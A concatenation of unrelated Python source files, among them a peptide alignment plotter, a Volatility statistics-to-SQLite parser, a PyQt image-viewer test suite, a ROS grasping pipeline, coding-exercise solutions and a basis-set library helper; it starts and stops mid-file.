                 'Value': residue_value},
                ignore_index=True
            )

    my_df.plot(kind='scatter', x='Position', y='Value')
    pyplot.show()

# ---------------------------------------------------------------------------------------------------------------------
# Main code
# ---------------------------------------------------------------------------------------------------------------------
def main():

    # Take in the user-provided inputs
    args = read_inputs()
    peptides_file = args.peptides
    reference_file = args.reference

    # Run the analysis
    cleaned_peptides = extract_peptide_strings(peptides_file)
    multiple_sequence_alignment = align_sequences(reference_file, cleaned_peptides)
    visualize_alignment(multiple_sequence_alignment)

# ---------------------------------------------------------------------------------------------------------------------
# Execute code
# ---------------------------------------------------------------------------------------------------------------------
if __name__ == '__main__':
    main()


import sqlite3
import os
import pathlib

path = os.getcwd() + "/plugin/init/windows.statistics/windows.statistics.txt"
path = pathlib.Path(path)
f = open(path, 'r', encoding='utf-8')
t = f.read()
t = t.replace('Volatility 3 Framework 1.0.0-beta.1','')
t = t.replace('Valid pages (all)	Valid pages (large)	Swapped Pages (all)	Swapped Pages (large)	Invalid Pages (all)	Invalid Pages (large)	Other Invalid Pages (all)','')
t = t.replace('\n\n',"\t")
t = "".join([s for s in t.strip().splitlines(True) if s.strip()])
my_list = t.split('\t')
result = [my_list[i * 7:(i + 1) * 7] for i in range((len(my_list) + 6) // 7 )]

conn = sqlite3.connect("analyze.db")
cur = conn.cursor()
cur.execute("create table statistics (Valid_pages_All text, Valid_Pages_Large text, Swapped_Pages_All text, Swapped_Pages_Large text, Invalid_Pages_All text, Invalid_Pages_Large, Other_Invalid_Pages_ALL text)")

cur.executemany("insert into statistics values (?, ?, ?, ?, ?, ?, ?)", result)
conn.commit()

conn.close()


import numpy
import sys
sys.path.append('../../../../../MCMC/mcmc_mass_age/samples/')
from PercentileClass import PercentileAge
import matplotlib.pyplot as plt

system=sys.argv[1]
percentiles=sys.argv[2]
percentiles=percentiles.split(',')

Age=PercentileAge(system)

solution_file='Solutions_'+system+'.txt'
with open(solution_file,'w') as f:
    f.write('percentile'+'\t'+
            'age'+'\t'+
            'logQ'+'\t'+
            'Pspin'+'\t'+
            'error'+'\t'+
            'mass'+'\t'+
            'feh'+'\n')

def observed_values():

    with open('../../SpinlogQCatalog_el0.4.txt','r') as f:
        for i,lines in enumerate(f):
            if i==0:
                x=lines.split()
                spin_index=x.index('Pspin')
                orbital_index=x.index('Porb')
            else:
                x=lines.split()
                if x[0]==system:
                    Pspin=float(x[spin_index])
                    PspinError=float(x[spin_index+1])
                    Porb=float(x[orbital_index])
                    break

    return Pspin

def get_solution(percentile,age):

    spinvlogQfile='System_'+system+'/SpinLogQ_'+str(percentile)+'.txt'
    q=[]
    p=[]
    with open(spinvlogQfile,'r') as f:
        for lines in f:
            x=lines.split()
            if x[0]=='logQ':continue
            if numpy.logical_and(abs(float(x[6]))<1e-2,
                                 abs(float(x[7]))<1e-2):
                q=numpy.append(q,float(x[0]))
                p=numpy.append(p,float(x[1]))

    data=zip(q,p)
    data=sorted(data,key=lambda tup: tup[0])
    q_values=[]
    p_values=[]
    for t in data:
        q_values=numpy.append(q_values,t[0])
        p_values=numpy.append(p_values,t[1])
    qmin=min(q_values)
    qmax=max(q_values)
    print('For age {} q0={} qn={}'.format(percentile,qmin,qmax))

    q_array=numpy.linspace(qmin,qmax,10000)
    p_interpolated=numpy.interp(q_array,q_values,p_values)

    p_observed=observed_values()
    p_diff=numpy.array(p_interpolated)-p_observed

    zero_crossing=numpy.where(numpy.diff(numpy.sign(p_diff)))[0]
    sol_p=p_interpolated[zero_crossing][0]
    sol_q=q_array[zero_crossing][0]
    error_sol_p=abs(sol_p-p_observed)

    samples_file='../../../../../MCMC/mcmc_mass_age/samples/updated_samples/MassAgeFehSamples_'+system+'.txt'
    with open(samples_file,'r') as f:
        next(f)
        for lines in f:
            x=lines.split()
            a=float(x[1])
            if a==age:
                mass=float(x[0])
                feh=float(x[2])
    with open(solution_file,'a') as f:
        f.write(repr(percentile)+'\t'+
                repr(age)+'\t'+
                repr(sol_q)+'\t'+
                repr(sol_p)+'\t'+
                repr(error_sol_p)+'\t'+
                repr(mass)+'\t'+
                repr(feh)+'\n')

for p in percentiles:
    print('For p = ',p)
    try:percentile=int(p)
    except:percentile=float(p)
    age=Age(percentile)
    get_solution(percentile,age)


import os
import pathlib

from unittest import mock

from PyQt5 import QtCore

from app import run_pyqt

class TestImageViewer:
    def test_if_main_window_renders(self, qtbot):
        window = run_pyqt.ImageViewer()
        qtbot.addWidget(window)
        assert window.currentFile.text() == 'No file selected'
        assert window.openImageButton.text() == 'Open image'

    def test_if_image_is_displayed(self, qtbot):
        path = pathlib.Path().absolute()
        file = os.path.join(path, 'tests/test.jpg')

        window = run_pyqt.ImageViewer()
        qtbot.addWidget(window)
        window.image_file_selected(file)
        assert window.currentFile.text().endswith('/test.jpg')
        assert window.currentFile.text() == file
        assert window.imageLabel.pixmap().width() == 242
        assert window.imageLabel.pixmap().height() == 221

    @mock.patch('app.run_pyqt.ImageViewer.open_image_action')
    def test_if_action_is_called_on_button_click(self, open_image_action, qtbot):
        window = run_pyqt.ImageViewer()
        qtbot.addWidget(window)

        qtbot.mouseClick(window.openImageButton, QtCore.Qt.LeftButton)
        assert open_image_action.called

    @mock.patch('app.run_pyqt.ImageViewer.show_image_picker')
    def test_if_show_image_picker_is_called_on_prompt_accept(self, show_image_picker, qtbot):
        window = run_pyqt.ImageViewer()
        qtbot.addWidget(window)
        prompt = window.open_image_action()
        prompt.accept()
        assert show_image_picker.called

    @mock.patch('app.run_pyqt.ImageViewer.show_image_picker')
    def test_if_show_image_picker_is_not_called_when_prompt_not_accept(self, show_image_picker, qtbot):
        window = run_pyqt.ImageViewer()
        qtbot.addWidget(window)
        window.open_image_action()
        assert not show_image_picker.called

    @mock.patch('app.run_pyqt.ImageViewer.image_file_selected')
    def test_if_image_file_selected_is_called_on_file_selection(self, image_file_selected, qtbot):
        path = pathlib.Path().absolute()
        file = os.path.join(path, 'tests/test.jpg')

        def accept():
            picker.accept()

        window = run_pyqt.ImageViewer()
        qtbot.addWidget(window)
        picker = window.show_image_picker()
        picker.selectFile(file)

        picker.done(1)
        QtCore.QTimer.singleShot(100, accept)
        picker.exec_()
        assert image_file_selected.called


#a pyhton script to loop through a list of files and count the number of files in each file

from encodings.utf_8 import encode

#create a funtion
def count_words (filename):
    try:
        with open(filename, encoding= 'utf-8') as file:
            content = file.read()
    except FileNotFoundError:
        print(f'the file by name {filename} does not exit')

    else:
     #split content of file
        split_content = content.split()
        #count the number of words contained in file
        count_words = len(split_content)
        print(f'the number of words contained in the {filename} file is {count_words}')
filename = ['text.txt', 'user_info.txt', 'python.txt', 'write_to_python.txt', 'bullet.txt']
for fname in filename:
    count_words(fname)


def _load_configs():
    """load all the binning specifications in the config directory."""
    import pathlib
    import glob
    import yaml

    config_root = pathlib.Path(__file__).parent.resolve()
    configs = {}
    for level in ['l1a', 'l1b', 'l1c']:
        configs_lvl = {}
        for cf in glob.glob(str(config_root / f'{level}/*.yaml')):
            config = yaml.safe_load(open(cf))
            configs_lvl[config['name']] = config
        configs[level] = configs_lvl
    return configs
globals().update(_load_configs())

l1a: dict
l1b: dict
l1c: dict

__all__ = ['l1a', 'l1b', 'l1c']


#!/usr/bin/env python3.8
import rospy
import os
import time

from vision_msgs.msg import Detection2DArray
from sensor_msgs.msg import PointCloud2, Image
from simple_grasp_sim import SimpleGraspPipeline
from std_srvs.srv import Empty
from geometry_msgs.msg import Pose, Quaternion, TransformStamped

id_dict = {
    'bottle' : 44,
    'plate' : 45,
    'wine glass' : 46,
    'cup' : 47,
    'fork' : 48,
    'knife' : 49,
    'spoon' : 50,
    'bowl' : 51,
    'banana' : 52,
    'apple' : 53,
    'sandwich' : 54,
    'orange' : 55,
    'broccoli' : 56,
    'carrot' : 57,
    'hot dog' : 58,
    'pizza' : 59,
    'donut' : 60,
    'cake' : 61,
    'blender' : 83,
    'teddy bear' : 31 #88
}

class ObjDetGraspPipeline(SimpleGraspPipeline):
    def __init__(self) -> None:
        super(ObjDetGraspPipeline, self).__init__()

        rospy.init_node("grasp_rr", anonymous=True)
        rospy.Subscriber("obj_detect/detectnet/detections", Detection2DArray, self.callback_detnet)
        rospy.Subscriber("/zed2_node/point_cloud/cloud_registered", PointCloud2, self.callback_pc)
        # rospy.Subscriber('obj_detect/detectnet/overlay', Image, self.callback_obj) # shape : (720, 1080)
        # rospy.Subscriber('l515_grip/color/image_raw', Image, self.callback_img) # shape : (720, 1080)

        rospy.wait_for_service("/amiga_gripper/init_gripper", 10.0)
        rospy.wait_for_service("/amiga_gripper/open_gripper", 10.0)
        rospy.wait_for_service("/amiga_gripper/close_gripper", 10.0)
        self.gripper_init = rospy.ServiceProxy("/amiga_gripper/init_gripper", Empty)
        self.gripper_open = rospy.ServiceProxy("/amiga_gripper/open_gripper", Empty)
        self.gripper_close = rospy.ServiceProxy("/amiga_gripper/close_gripper", Empty)

        self.gripper_init()
        self.xCenterObject = None
        self.yCenterObject = None
        self.detected_3dObject = None

    def callback_detnet(self, data):
        for detection in data.detections:
            if detection is not None and detection.results[0].id == id_dict[self.object]:
                self.xCenterObject = int(detection.bbox.center.x)
                self.yCenterObject = int(detection.bbox.center.y)
                #print("center_X: " + str(self.xCenterObject) + " center_Y: " + str(self.yCenterObject))

    def callback_pc(self, data):
        # m = ros_numpy.numpify(data) shape : (720, 1280)
        if self.xCenterObject is not None and self.yCenterObject is not None:
            detected_3dObject = self.get_xyz([self.yCenterObject, self.xCenterObject], data)
            self.detected_3dObject = detected_3dObject
            print(self.detected_3dObject)

if __name__ == "__main__":

    pipeline = ObjDetGraspPipeline()
    pipeline.object = 'teddy bear'
    if pipeline.detected_3dObject is not None:
        pipeline.gripper_open()
        print("------------------------------------INFO-------------------------------------------")
        print(pipeline.detected_3dObject)
        detected_3dObjectRobotFrame = pipeline.camera_to_robot(pipeline.detected_3dObject, 'zed2_left_camera_frame', 'base_link')
        target_pose = Pose(detected_3dObjectRobotFrame, Quaternion(0, 0, 0, 1))
        target_pose = pipeline.transform_pose_to_top_pick(target_pose)
        target_pose.position.z += 0.20 # gripper tool0 offset
        print("target pose:", target_pose)
        # debug:
        # pose_in_list = [self.detected_3dObject[0], self.detected_3dObject[1], self.detected_3dObject[2],
        #     target_pose.orientation.x, target_pose.orientation.y, target_pose.orientation.z, target_pose.orientation.w]
        # self.static_tf_broadcast('zed2_left_camera_frame', 'teddy_bear_grasp_link', pose_in_list)

        pose_in_list = [target_pose.position.x, target_pose.position.y, target_pose.position.z,
            target_pose.orientation.x, target_pose.orientation.y, target_pose.orientation.z, target_pose.orientation.w]
        pipeline.static_tf_broadcast('base_link', 'teddy_bear_grasp_link', pose_in_list)

        #plan = pipeline.plan_pose_goal(pose = target_pose)
        #pipeline.display_trajectory(plan)
        #time.sleep(2)
        #pipeline.gripper_close()
        #time.sleep(2)
        #pipeline.set_grasping_home_pose()
        #time.sleep(5)

        #rospy.signal_shutdown("Pipeline ended. Terminated.")

    rospy.spin()


# -*- coding: utf-8 -*-
# @Author: WuLC
# @Date:   2016-04-14 14:43:50
# @Last modified by:   WuLC
# @Last Modified time: 2016-04-14 14:44:28
# @Email: liangchaowu5@gmail.com

# methond-1: backtracking
class Solution(object):
    def solveSudoku(self, board):
        """
        :type board: List[List[str]]
        :rtype: void Do not return anything, modify board in-place instead.
        """
        self.helper(board)

    def helper(self, board):
        num = len(board)
        for i in range(num):
            for j in range(num):
                if board[i][j] == '.':
                    for t in range(1,10):
                        c = str(t)
                        if self.is_valid(board, c, i, j):
                            board[i][j] = c
                            if self.helper(board):
                                return True
                            else:
                                board[i][j] = '.'
                    return False
        return True

    def is_valid(self, board, c, row , col):
        num = len(board)
        # check row
        for m in range(num):
            if board[row][m] == c:
                return False

        # check column
        for n in range(num):
            if board[n][col] == c:
                return False

        # check block
        row_start = (row/3)*3
        column_start = (col/3)*3
        for i in range(row_start,row_start+3):
            for j in range(column_start,column_start+3):
                if board[i][j] == c:
                    return False
        return True


from eoxserver.core.decoders import (
    kvp, xml, enum, value_range, boolean, InvalidParameterException
)
from eoxserver.core.util.xmltools import NameSpace, NameSpaceMap
from eoxserver.services.ows.wcs.v20.util import ns_wcs

class CompressionNotSupported(InvalidParameterException):
    code = "CompressionNotSupported"

class CompressionInvalid(InvalidParameterException):
    code = "CompressionInvalid"

class JpegQualityInvalid(InvalidParameterException):
    code = "JpegQualityInvalid"

class PredictorInvalid(InvalidParameterException):
    code = "PredictorInvalid"

class PredictorNotSupported(InvalidParameterException):
    code = "PredictorNotSupported"

class InterleavingInvalid(InvalidParameterException):
    code =  "InterleavingInvalid"

class TilingInvalid(InvalidParameterException):
    code = "TilingInvalid"

def parse_jpeg_quality(value):

    value = int(value)
    if value < 1 or value > 100:
        raise JpegQualityInvalid(
            "geotiff:jpeg_quality should be an integer between 1 and 100",
            "geotiff:jpeg_quality")
    return value

class WCS20GeoTIFFEncodingExtension(object):
    def supports(self, frmt, options):
        # To allow "native" GeoTIFF formats aswell
        if not frmt:
            return True
        return frmt.lower() == "image/tiff"

    def get_decoder(self, request):
        if request.method == "GET":
            return WCS20GeoTIFFEncodingExtensionKVPDecoder(request.GET)
        else:
            return WCS20GeoTIFFEncodingExtensionXMLDecoder(request.body)

    def get_encoding_params(self, request):
        decoder = self.get_decoder(request)

        # perform some dependant value checking
        compression = decoder.compression
        predictor = decoder.predictor
        jpeg_quality = decoder.jpeg_quality
        tiling = decoder.tiling
        tileheight = decoder.tileheight
        tilewidth = decoder.tilewidth

        if predictor and compression not in ("LZW", "Deflate"):
            raise PredictorNotSupported(
                "geotiff:predictor requires compression method 'LZW' or "
                "'Deflate'.", "geotiff:predictor"
            )

        if jpeg_quality is not None:
            if compression != "JPEG":
                raise CompressionNotSupported(
                    "geotiff:jpeg_quality requires compression method 'JPEG'.",
                    "geotiff:jpeg_quality"
                )
            else :
                parse_jpeg_quality(jpeg_quality)

        if tiling and (tileheight is None or tilewidth is None):
            raise TilingInvalid(
                "geotiff:tiling requires geotiff:tilewidth and "
                "geotiff:tileheight to be set.", "geotiff:tiling"
            )

        return {
            "compression": compression,
            "jpeg_quality": jpeg_quality,
            "predictor": predictor,
            "interleave": decoder.interleave,
            "tiling": tiling,
            "tileheight": tileheight,
            "tilewidth": tilewidth
        }

compression_enum = enum(
    ("None", "PackBits", "Huffman", "LZW", "JPEG", "Deflate"), True, CompressionInvalid
)
predictor_enum = enum(("None", "Horizontal", "FloatingPoint"), True, PredictorInvalid)
interleave_enum = enum(("Pixel", "Band"), True, InterleavingInvalid)

def parse_multiple_16(raw):
    value = int(raw)
    if value < 0:
        raise ValueError("Value must be a positive integer.")
    elif (value % 16) != 0:
        raise ValueError("Value must be a multiple of 16.")
    return value

class WCS20GeoTIFFEncodingExtensionKVPDecoder(kvp.Decoder):
    compression = kvp.Parameter("geotiff:compression", num="?", type=compression_enum)
    jpeg_quality = kvp.Parameter("geotiff:jpeg_quality", num="?", type=int)
    predictor   = kvp.Parameter("geotiff:predictor", num="?", type=predictor_enum)
    interleave  = kvp.Parameter("geotiff:interleave", num="?", type=interleave_enum)
    tiling      = kvp.Parameter("geotiff:tiling", num="?", type=boolean)
    tileheight  = kvp.Parameter("geotiff:tileheight", num="?", type=parse_multiple_16)
    tilewidth   = kvp.Parameter("geotiff:tilewidth", num="?", type=parse_multiple_16)

class WCS20GeoTIFFEncodingExtensionXMLDecoder(xml.Decoder):
    compression = xml.Parameter("wcs:Extension/geotiff:parameters/geotiff:compression/text()", num="?", type=compression_enum, locator="geotiff:compression")
    jpeg_quality = xml.Parameter("wcs:Extension/geotiff:parameters/geotiff:jpeg_quality/text()", num="?", type=int, locator="geotiff:jpeg_quality")
    predictor   = xml.Parameter("wcs:Extension/geotiff:parameters/geotiff:predictor/text()", num="?", type=predictor_enum, locator="geotiff:predictor")
    interleave  = xml.Parameter("wcs:Extension/geotiff:parameters/geotiff:interleave/text()", num="?", type=interleave_enum, locator="geotiff:interleave")
    tiling      = xml.Parameter("wcs:Extension/geotiff:parameters/geotiff:tiling/text()", num="?", type=boolean, locator="geotiff:tiling")
    tileheight  = xml.Parameter("wcs:Extension/geotiff:parameters/geotiff:tileheight/text()", num="?", type=parse_multiple_16, locator="geotiff:tileheight")
    tilewidth   = xml.Parameter("wcs:Extension/geotiff:parameters/geotiff:tilewidth/text()", num="?", type=parse_multiple_16, locator="geotiff:tilewidth")

    namespaces = NameSpaceMap(
        ns_wcs, NameSpace("http://www.opengis.net/gmlcov/geotiff/1.0", "geotiff")
    )


# -*- coding: utf-8 -*-
"""
Created on Sun Oct  6 21:09:48 2019

@author: cheerag.verma
"""

inputName = list(map(str,input().split(",")))

#dict_name = {}
#count = 1
#for i in inputName:
#    dict_name[i] = count
#    count+=1
#
#sorted_list = sorted(dict_name.items(),key = lambda x:x[0])
#
#x = 1
#for data in sorted_list:
#    if x<len(sorted_list):
#        print(data[0],end=",")
#        x+=1
#    else:
#        print(data[0])

sorted_list = sorted(inputName)

x = 1
for data in sorted_list:
    if x<len(sorted_list):
        print(data,end=",")
        x+=1
    else:
        print(data)

week11/Programming Assignment-2 String Sort.py


#1- Gönderilen bir kelimeyi belirtilen kez ekranda gösterşlen fonksiyonu gösteriniz
"""
from turtle import pen

def sorgu1(kelime,kez):
    sayac=0
    while sayac<kez:
        print(kelime)
        sayac+=1

print(sorgu1('Alp',4))
"""
#2 - Kendine gönderilen sınırsız sayıdaki parametreyi bir listeye çeviren fonksiyonu yazınız
"""def sinirsiz(*kelime):
    dizi=[]
    dizi+=kelime
    print(dizi)
print(sinirsiz(12,34,31,56,87,'ALp','Varna','ALp','Varna','ALp','Varna','ALp','Varna','AHAA','AHAA','AHAA'))
"""
#3 - gönderilen 2 sayı arasındaki asal sayıları bulun
"""
def AsalBul(sayi1,sayi2):
    for sayi in range(sayi1,sayi2 + 1):
        if sayi > 1:
            for i in range(2,sayi):
                if (sayi % i) == 0:
                    break
            else:
                print(sayi)

AsalBul(5,79)
"""
#4 - Kendisine gönnderilen bir sayının tam bölenlerini bir liste şekşinde döndürünüz

def bolenHesapla(sayi):
    liste=[]
    for i in range(1,sayi+1):
        if sayi% i == 0:
            liste.append(i)
    print(liste)

bolenHesapla(56)


def solution(s):
    stack = ['A']

    for c in s:
        if stack[-1] == c:
            stack.pop()
        else:
            stack.append(c)

    if len(stack) == 1:
        return 1
    else:
        return 0

i = solution("aaabbcccddddeeeeeeeeaabbccc")
print(i)


import scipy.io
from tkinter import *
from tkinter import messagebox, filedialog
from tkinter import ttk
import h5py as h5

Tk().withdraw()
_file = filedialog.askopenfilename(title='Choose file to load')

with h5.File(_file, "r") as hf:
    for ind, key in enumerate(hf.keys()):
        if ind > 0:
            print(ind,":", key)
            for ind2, key2 in enumerate(hf[key].keys()):
                dataset = hf[key][key2]
                print("\t",ind2,":", key2, "->", type(dataset), "({:})".format(len(dataset)))
                for data in dataset:
                    print("\t\t", type(data), "({:})".format(len(data)))
                    break


number = int(input())
special_list = [5, 7, 11]
# for num in range(1, number + 1):
#     num = str(num)
#     digit_sum = 0
#     for digit in num:
#         digit = int(digit)
#         digit_sum += digit
#     if digit_sum in special_list:
#         print(f'{num} -> True')
#     else:
#         print(f'{num} -> False')

for num in range(1, number + 1):
    sum = 0
    digits = num
    while digits > 0:
        last_digit = digits % 10
        digits = digits // 10
        sum += last_digit
    if sum in special_list:
        print(f'{num} -> True')
    else:
        print(f'{num} -> False')


#!/usr/bin/python

import os
import sys

base = os.path.dirname(sys.argv[0])
for name in os.listdir(base):
    if name.endswith("-test.py"):
        print(name)
        os.system(os.path.join(base, name))


"""
Return boxed tuple message either Right or Left.
use myeither defined locally.
isEven() function return either Right(success) or Lift(error)
"""
from myeither import *

def isEven(x):
    if(type(x) not in [int]):
        reason = ('Error', 'The input value {0} is not an interger.'.format(x))
        return Left(reason)
    if(x % 2 == 0):
        reason = ('Success',"The x=%d mod of 2 is 0." % x)
        return Right(reason)
    reason = ('Error',"The x=%d mod of 2 equals 1." % x)
    return Left(reason)

print(isEven(4).value)
print(isEven(7).value)
print(isEven(3.2).value)
print(isEven(3+2j).value)
print(isEven(-2).value)
print("Done.")


"""
Base classes.

"""

from itertools import islice

class IterContainer(object):

    def __contains__(self, item):
        for o in self:
            if o == item:
                return True
        return False

    def __len__(self):
        return sum(1 for _ in self)

    def __getitem__(self, item):
        if isinstance(item, int):
            try:
                return next(islice(self, item, item+1))
            except StopIteration:
                raise IndexError('index out of range')
        elif isinstance(item, slice):
            return islice(self, item.start, item.stop, item.step)

    def index(self, item):
        for i, o in enumerate(self):
            if o == item:
                return i
        raise ValueError('%s is not in container' % item)


from settings import *

def setup(bot):
    bot.add_cog(TempHum(bot))

class TempHum(commands.Cog):
    def __init__(self, bot):
        self.bot = bot

        self.status_message = ""
        self.send_status_b = False

        self.logging_channel = db["BOT_LOG_CHANNEL"]

        if (os.name == "posix"):
            self.module_name = __file__.split("/")[-1].split(".")[0]
        else:
            self.module_name = __file__.split("\\")[-1].split(".")[0]

        self._client = MqttClient("TempHumS")
        self._client.add_subscription(f"RPi/{self.module_name}")
        self._client.client.on_message = self.parse_message

        if not self.send_status.is_running():
            self.send_status.start()

    @commands.group()
    async def temp_hum(self, ctx):
        """Base class for Temp/Hum sensor"""
        pass

    @temp_hum.command()
    async def status(self, ctx):
        """Get the status of the Temp/Hum"""
        self._client.publish(f"Server/{self.module_name}", 1)

    def parse_message(self, client, userdata, message):
        self.status_message = message.payload.decode("UTF-8")
        self.send_status_b = True

    @tasks.loop(seconds=1)
    async def send_status(self):
        if not self.send_status_b:
            return
        if not self.bot.is_ready():
            return

        if isinstance(self.logging_channel, int):
            self.logging_channel = await self.bot.fetch_channel(self.logging_channel)
        await self.logging_channel.send(self.status_message)
        self.send_status_b = False

    @commands.Cog.listener()
    async def on_ready(self):
        print(f"{self.module_name} is On")


from sys import stdin
from functools import lru_cache
def solve(grid):
    print(grid)
    def neig(row, col):
        if row + 1 < len(grid):
            yield (row+1, col)
            if col + 1 < len(grid[1]):
               yield (row+1, col+1)
            if col-1 >=0:
                yield (row + 1, col-1)

    @lru_cache(None)
    def max_coins(agent1_loc, agent2_loc):
        #print(agent1_loc, agent2_loc)
        if agent1_loc == (len(grid)-1,0) and agent2_loc == (len(grid)-1,len(grid[0])-1):
            return 0
        cmax = -float('inf')
        for agen1_neig in neig(*agent1_loc):
            for agen2_neig in neig(*agent2_loc):
                currn = max_coins(agen1_neig, agen2_neig)
                #print(agen1_neig, agen2_neig, currn)
                if agen1_neig == agen2_neig:
                    if currn + grid[agen1_neig[0]][agen1_neig[1]] > cmax:
                        cmax = currn + grid[agen1_neig[0]][agen1_neig[1]]
                elif currn +  grid[agen1_neig[0]][agen1_neig[1]] +  grid[agen2_neig[0]][agen2_neig[1]] > cmax:
                    cmax = currn +  grid[agen1_neig[0]][agen1_neig[1]] +  grid[agen2_neig[0]][agen2_neig[1]]
        #print("Return ", cmax)
        return cmax
    output = max_coins((0,0), (0, len(grid[0])-1))
    #print("Output ", grid, output + grid[0][0] + grid[0][len(grid[0])-1])
    return output + grid[0][0] + grid[0][len(grid[0])-1]

def read_grid(num):
    grid = []
    for row in range(num):
        line = stdin.readline()
        grid.append([int(val) for val in line.split()])
    return grid

def read_test_cases():
    test_cases = int(stdin.readline())
    stdin.readline()
    for tc in range(test_cases):
        grid_size = int(stdin.readline())
        grid = read_grid(grid_size)
        max_coins = solve(grid)
        print('Case #%d: %d'%(tc+1, max_coins))
        stdin.readline()

read_test_cases()


import os
import datetime
from ..fileio import read_json_basis, write_json_basis
from ..misc import expand_elements
from ..validator import validate_data
from ..skel import create_skel
from ..readers import read_formatted_basis_file
from .metadata import create_metadata_file

def add_from_components(component_files, data_dir, subdir, file_base, name, family, role, description, version,
                        revision_description):
    '''
    Add a basis set to this library that is a combination of component files

    This takes in a list of component basis files and creates a new basis set for the intersection
    of all the elements contained in those files.  This creates the element, and table basis set
    files in the given data_dir (and subdir). The metadata file for the basis is created if it
    doesn't exist, and the main metadata file is also updated.

    Parameters
    ----------
    component_files : str
        Path to component json files (in BSE format already)
    data_dir : str
        Path to the data directory to add the data to
    subdir : str
        Subdirectory of the data directory to add the basis set to
    file_base : str
        Base name for new files
    name : str
        Name of the basis set
    family : str
        Family to which this basis set belongs
    role : str
        Role of the basis set (orbital, etc)
    description : str
        Description of the basis set
    version : str
        Version of the basis set
    revision_description : str
        Description of this version of the basis set
    '''

    if not component_files:
        raise RuntimeError("Need at least one component file to create a basis set from")

    # Determine what files have which elements
    valid_elements = None

    # And the relative path of the component files to the data dir
    cfile_relpaths = []

    for cfile in component_files:
        cfile_data = read_json_basis(cfile)
        cfile_elements = set(cfile_data['elements'].keys())

        relpath = os.path.relpath(cfile, data_dir)

        if valid_elements is None:
            valid_elements = cfile_elements
        else:
            valid_elements = valid_elements.intersection(cfile_elements)

        cfile_relpaths.append(relpath)

    valid_elements = sorted(valid_elements, key=lambda x: int(x))

    # Start the data files for the element and table json
    element_file_data = create_skel('element')
    element_file_data['name'] = name
    element_file_data['description'] = description
    element_file_name = '{}.{}.element.json'.format(file_base, version)
    element_file_relpath = os.path.join(subdir, element_file_name)
    element_file_path = os.path.join(data_dir, element_file_relpath)

    table_file_data = create_skel('table')
    table_file_data['revision_description'] = revision_description
    table_file_data['revision_date'] = datetime.date.today().isoformat()
    table_file_name = '{}.{}.table.json'.format(file_base, version)

    # and the metadata file
    meta_file_data = create_skel('metadata')
    meta_file_data['names'] = [name]
    meta_file_data['family'] = family
    meta_file_data['description'] = description
    meta_file_data['role'] = role
    meta_file_name = '{}.metadata.json'.format(file_base)

    # These get created directly in the top-level data directory
    table_file_path = os.path.join(data_dir, table_file_name)
    meta_file_path = os.path.join(data_dir, meta_file_name)

    # Can just make all the entries for the table file pretty easily
    # (we add the relative path to the location of the element file,
    # which resides in subdir)
    table_file_entry = element_file_relpath
    table_file_data['elements'] = {k: table_file_entry for k in valid_elements}

    # Add to the element file data
    for el in valid_elements:
        element_file_data['elements'][el] = {'components': cfile_relpaths}

    # Verify all data using the schema
    validate_data('element', element_file_data)
    validate_data('table', table_file_data)

    ######################################################################################
    # Before creating any files, check that all the files don't already exist.
    # Yes, there is technically a race condition (files could be created between the
    # check and then actually writing out), but if that happens, you are probably using
    # this library wrong
    #
    # Note that the metadata file may exist already. That is ok
    ######################################################################################
    if os.path.exists(element_file_path):
        raise RuntimeError("Element json file {} already exists".format(element_file_path))
    if os.path.exists(table_file_path):
        raise RuntimeError("Table json file {} already exists".format(table_file_path))

    #############################################
    # Actually create all the files
    #############################################

    # First, create the subdirectory
    subdir_path = os.path.join(data_dir, subdir)
    if not os.path.exists(subdir_path):
        os.makedirs(subdir_path)

    write_json_basis(element_file_path, element_file_data)
    write_json_basis(table_file_path, table_file_data)

    # Create the metadata file if it doesn't exist already
    if not os.path.exists(meta_file_path):
        write_json_basis(meta_file_path, meta_file_data)

    # Update the metadata file
    metadata_file = os.path.join(data_dir, 'METADATA.json')
    create_metadata_file(metadata_file, data_dir)

def add_basis_from_dict(bs_data,
                        data_dir,
                        subdir,
                        file_base,
                        name,
                        family,
                        role,
                        description,
                        version,
                        revision_description,
                        data_source,
                        refs=None):
    '''Add a basis set to this library

    This takes in a basis set dictionary, and create the component,
    element, and table basis set files in the given data_dir (and
    subdir).  The metadata file for the basis is created if it doesn't
    exist, and the main metadata file is also updated.

    Parameters
    ----------
    bs_data : dict
        Basis set dictionary
    data_dir : str
        Path to the data directory to add the data to
    subdir : str
        Subdirectory of the data directory to add the basis set to
    file_base : str
        Base name for new files
    name : str
        Name of the basis set
    family : str
        Family to which this basis set belongs
    role : str
        Role of the basis set (orbital, etc)
    description : str
        Description of the basis set
    version : str
        Version of the basis set
    revision_description : str
        Description of this version of the basis set
    data_source : str
        Description of where this data came from
    refs : dict or str
        Mapping of references to elements. This can be a dictionary with a compressed
        string of elements as keys and a list of reference strings as values.
        For example, {'H,Li-B,Kr': ['kumar2018a']}

        If a list or string is passed, then those reference(s) will be used for
        all elements.

        Elements that exist in the file but do not have a reference are given the
        usual 'noref' extension and the references entry is empty.
    file_fmt : str
        Format of the input basis data (None = autodetect)

    '''

    # Read the basis set data into a component file, and add the description
    bs_data['description'] = description
    bs_data['data_source'] = data_source

    if refs is None:
        refs = []

    # We keep track of which elements we've done so that
    # we can detect duplicates in the references (which would be an error)
    # (and also handle elements with no reference)
    orig_elements = bs_data['elements']
    done_elements = []

    # If a string or list of strings, use that as a reference for all elements
    if isinstance(refs, str):
        for k, v in bs_data['elements'].items():
            v['references'] = [refs]
    elif isinstance(refs, list):
        for k, v in bs_data['elements'].items():
            v['references'] = refs
    elif isinstance(refs, dict):
        for k, v in refs.items():
            # Expand the string a list of integers (as strings)
            elements = expand_elements(k, True)

            # Make sure we have info for the given elements
            # and that there are no duplicates
            for el in elements:
                if el not in orig_elements:
                    raise RuntimeError("Element {} not found in file {}".format(el, bs_file))
                if el in done_elements:
                    raise RuntimeError("Duplicate element {} in reference string {}".format(el, k))

                if isinstance(v, str):
                    bs_data['elements'][el]['references'] = [v]
                else:
                    bs_data['elements'][el]['references'] = v

            done_elements.extend(elements)

        # Handle elements without a reference
        noref_elements = set(orig_elements.keys()) - set(done_elements)

        if noref_elements:
            for el in noref_elements:
                bs_data['elements'][el]['references'] = []
    else:
        raise RuntimeError('refs should be a string, a list, or a dictionary')

    # Create the filenames for the components
    # Also keep track of where data for each element is (for the element and table files)
    component_file_name = file_base + '.' + str(version) + '.json'
    component_file_relpath = os.path.join(subdir, component_file_name)
    component_file_path = os.path.join(data_dir, component_file_relpath)

    # Verify all data using the schema
    validate_data('component', bs_data)

    ######################################################################################
    # Before creating any files, check that all the files don't already exist.
    # Yes, there is technically a race condition (files could be created between the
